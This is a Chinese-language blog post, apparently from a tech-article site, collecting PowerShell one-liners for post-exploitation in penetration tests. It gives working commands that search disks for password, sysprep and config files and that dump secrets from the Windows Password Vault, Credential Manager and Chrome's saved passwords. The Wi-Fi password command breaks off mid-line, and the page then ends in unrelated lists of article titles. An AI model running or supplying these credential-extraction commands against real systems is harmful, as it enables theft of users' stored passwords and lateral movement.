powershell渗透-信息收集命令

本文包含从 Internet 的各个角落收集的 PowerShell 命令列表,这些命令在渗透测试或红色团队练习期间可能会有所帮助。

该列表包括各种开发后的单行在纯 PowerShell 不需要任何攻击 (= 可能标记为恶意) 第三方模块, 但也一堆方便的管理命令.

我们开始吧!

目录

隐藏

• 查找包含敏感信息的文件

o 查找可能感兴趣的文件

o 在 Sysprep 或未处理文件中查找凭据

o 查找包含"密码"字符串的配置文件

o 在配置文件中查找数据库凭据

o 查找 Web 服务器配置文件

• 提取凭据

o 从 Windows 密码 Vault 获取存储的密码

o 从 Windows 凭据管理器获取存储的密码

o 从谷歌浏览器转储密码

o 从无线配置文件获取存储的 Wi-Fi 密码

o 在注册表中搜索 SNMP 社区字符串

o 在注册表中搜索字符串模式

• 权限升级

o 搜索自动登录凭据的注册表

o 检查是否启用了"始终安装提升"

o 查找未引用的服务路径

o 检查 Lsass Wdigest 缓存

o SYSVOL 和组策略首选项 (GPP) 中的凭据

• 网络相关命令

o 从命令行设置 MAC 地址

o 允许远程桌面连接

o 使用大容量 DNS 反向查找的主机发现

o 端口扫描主机以寻找有趣的端口

o 端口扫描单个端口的网络(端口扫描)

o 创建来宾 SMB 共享驱动器

o 在 Windows 防火墙中白列出 IP 地址

• 其他有用的命令

o 无文件下载和执行

o 获取当前用户的 SID

o 检查我们运行是否具有提升(管理员)权限

o 禁用 PowerShell 命令日志记录

o 列出已安装的防病毒 (AV) 产品

• 结论

查找包含敏感信息的文件

在开发后阶段,以下 PowerShell 命令可以很方便地查找磁盘上可能包含凭据、配置详细信息和其他敏感信息的文件。

查找可能感兴趣的文件

通过此命令,我们可以根据文件名识别具有潜在敏感数据的文件,如帐户信息、凭据、配置文件等:

gci c:\ -Include pass.txt,pass.xml,pass.ini,pass.xlsx,cred,vnc,.config,accounts -File -Recurse -EA SilentlyContinue

虽然这会产生很多噪音,但也会产生一些非常有趣的结果。

建议对每个磁盘驱动器进行此操作,但您也可以在 c:\用户文件夹上运行它,以便获得一些快速获胜。

在 Sysprep 或未处理文件中查找凭据

此命令将查找自动安装和自动配置的残余,这些残余可能包含纯文本密码或 base64 编码密码:

gci c:\ -Include sysprep.inf,sysprep.xml,sysprep.txt,unattended.xml,unattend.xml,unattend.txt -File -Recurse -EA SilentlyContinue

这是众所周知的特权升级技术之一,因为密码通常是本地管理员密码。

建议对每个磁盘驱动器进行此设置。

查找包含"密码"字符串的配置文件

通过此命令,我们可以找到包含特定模式的文件,例如,这里正在寻找各种文本配置文件中的"密码"模式:

gci c:\ -Include .txt,.xml,.config,.conf,.cfg,.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern "password"

虽然这会产生很多噪音,但也会产生一些有趣的结果。

建议对每个磁盘驱动器进行此设置。

在配置文件中查找数据库凭据

使用以下 PowerShell 命令,我们可以在各种配置文件(如 Web.config)中查找存储在各种配置文件中的数据库连接字符串(具有纯文本凭据),ASP.NET在 Visual Studio 项目文件中等:

gci c:\ -Include .config,.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern "connectionString"

查找连接字符串,例如对于远程 Microsoft SQL Server,可能会导致远程命令执行 (RCE) 使用 xp_cmdshell 功能(链接、链接、链接等)以及随后的横向移动。

查找 Web 服务器配置文件

通过此命令,我们可以轻松地找到属于 Microsoft IIS、XAMPP、Apache、PHP 或 MySQL 安装的配置文件:

gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue

这些文件可能包含纯文本密码或其他有趣的信息,可以允许访问其他资源,如数据库,管理接口等。

提取凭据

以下 PowerShell 命令也属于开发后类别,它们可用于在访问 Windows 系统后提取凭据。

从 Windows 密码 Vault 获取存储的密码

使用以下 PowerShell 命令,我们可以从 Windows PasswordVault中提取机密,这是一种用于存储密码和 Web 凭据的 Windows 内置机制,例如用于 Internet 资源管理器、边缘和其他应用程序:

[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $.RetrievePassword();$ }

请注意,保管库通常存储在以下位置,并且只能在当前记录的用户的上下文中检索机密:

• C:\Users<USERNAME>\AppData\Local\Microsoft\Vault

• C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault

• C:\ProgramData\Microsoft\Vault

有关 Windows 密码 Vault 的更多信息,请参阅此处。

从 Windows 凭据管理器获取存储的密码

Windows 凭据管理器提供了另一种用于存储凭据以登录到网站、登录到远程系统和各种应用程序的机制,它还提供了在 PowerShell 脚本中使用凭据的安全方法。

使用以下单行,我们可以使用凭据管理器从凭据管理器检索所有存储的凭据:

Get-StoredCredential | % { write-host -NoNewLine $.username; write-host -NoNewLine ":" ; $p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }

与PasswordVault类似,凭据存储在单个用户配置文件位置,只有当前记录的用户才能解密其:

• C:\Users<USERNAME>\AppData\Local\Microsoft\Credentials

• C:\Users<USERNAME>\AppData\Roaming\Microsoft\Credentials

• C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\

从谷歌浏览器转储密码

以下命令从 Google Chrome 浏览器(如果已安装)以及存储任何密码时提取存储的凭据:

[System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))

同样,这必须在目标(受害者)用户的上下文中执行。

从无线配置文件获取存储的 Wi-Fi 密码

通过此命令,我们可以从 Windows 系统中配置的无线配置文件中提取所有存储的 Wi-Fi 密码(WEP、WPA PSK、WPA2 PSK 等) :

(netsh wlan show profiles) | Select-String "

最新文章

  1. chrome浏览器限制的端口
  2. QQ浏览器安卓5.8版本的Uint8Array API有bug
  3. tomcat 运行程序很慢 运行一段时间就报错: java.lang.OutOfMemoryError: PermGen space
  4. 三星S4,呼转的来电,在来电界面上不显示的解决方案
  5. 12款免费的响应式 WordPress 主题下载
  6. sql server 子找父和父找子
  7. Web Token JWT
  8. Backbone.js学习之初识hello-world
  9. uva 2218 Triathlon
  10. Android性能测试工具 Emmagee
  11. new Random().nextInt
  12. 8、第八次课jquery第一节20151006
  13. BZOJ 2440 完全平方数(莫比乌斯反演+二分查找)
  14. linux目录结构图
  15. Database differential backup差异备份和还原
  16. (十三)UITableView数据模型化
  17. 利用requirejs实现vue的模块化开发
  18. Kotlin 条件控制
  19. 创建java项目思路
  20. python第三十课--异常(异常处理定义格式和常见类型)

热门文章

  1. 手把手教你AspNetCore WebApi:认证与授权
  2. OracleOggan安装并测试同步数据步骤!
  3. Flink深入浅出: 资源管理(v1.11)
  4. junit调试(No tests found matching )
  5. git 查看本地分支和切换本地分支的命令
  6. 单调队列优化题:最大数(P1198)
  7. Linux标准重定向-输入-输出-错误-多重
  8. 【转】Python 魔法方法大全
  9. 记一次flink入门学习笔记
  10. LruCache缓存bitmap(一)